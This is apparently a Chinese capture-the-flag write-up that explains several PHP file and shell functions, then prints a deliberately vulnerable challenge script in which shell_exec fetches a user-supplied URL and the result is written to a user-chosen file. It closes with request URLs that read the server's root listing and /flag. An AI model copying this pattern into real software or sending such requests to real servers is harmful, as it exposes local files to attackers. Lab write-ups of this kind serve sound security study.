mkdir
创建权限为777的目录:mkdir -m 777 test3
通过 mkdir 命令可以实现在指定位置创建以 DirName(指定的文件名)命名的文件夹或目录。要创建文件夹或目录的用户必须对所创建的文件夹的父文件夹具有写权限。并且,所创建的文件夹(目录)不能与其父目录(即父文件夹)中的文件名重名,即同一个目录下不能有同名的(区分大小写)。
chdir()
chdir() 函数改变当前的目录。
<?php
// Get current directory
echo getcwd() . "<br>";// /home/php
// Change directory
chdir("images");
// Get current directory
echo getcwd();// /home/php/images
?>
shell_exec
shell_exec — 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
shell_exec ( string $cmd ) : string //cmd 要执行的命令
escapeshellarg
escapeshellarg — 把字符串转码为可以在 shell 命令里使用的参数
escapeshellarg ( string $arg ) : string//escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。shell 函数包含 exec(), system() 执行运算符 。
pathinfo() 函数
pathinfo() 函数以数组的形式返回文件路径的信息。
pathinfo(path,options)
basename函数
basename() 函数返回路径中的文件名部分。
basename(path,suffix)
参数 描述
path 必需。规定要检查的路径。
suffix 可选。规定文件扩展名。 有suffix,则不会输出这个扩展名。
file_put_contents
file_put_contents — 将一个字符串写入文件
file_put_contents ( string $filename , mixed $data , int $flags = 0 , resource $context = ? ) : int
filename:
要被写入数据的文件名。
data:
要写入的数据。类型可以是 string,array 或者是 stream 资源(如上面所说的那样)。如果 data 指定为 stream 资源,这里 stream 中所保存的缓存数据将被写入到指定文件中,这种用法就相似于使用 stream_copy_to_stream() 函数。
参数 data 可以是数组(但不能为多维数组),这就相当于 file_put_contents($filename, join(’’, $array))。
flags:
flags 的值可以是 以下 flag 使用 OR (|) 运算符进行的组合。
题目:
<?php
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);
http://www.bmzclub.cn:20431/sandbox/edce46c67c1141eb10f7102c087bd736
http://www.bmzclub.cn:20431/sandbox/?url=/&filename=aaa
http://www.bmzclub.cn:20431/sandbox/edce46c67c1141eb10f7102c087bd736/aaa
http://www.bmzclub.cn:20431/?url=/flag&filename=flag.txt
http://www.bmzclub.cn:20431/sandbox/edce46c67c1141eb10f7102c087bd736/flag.txt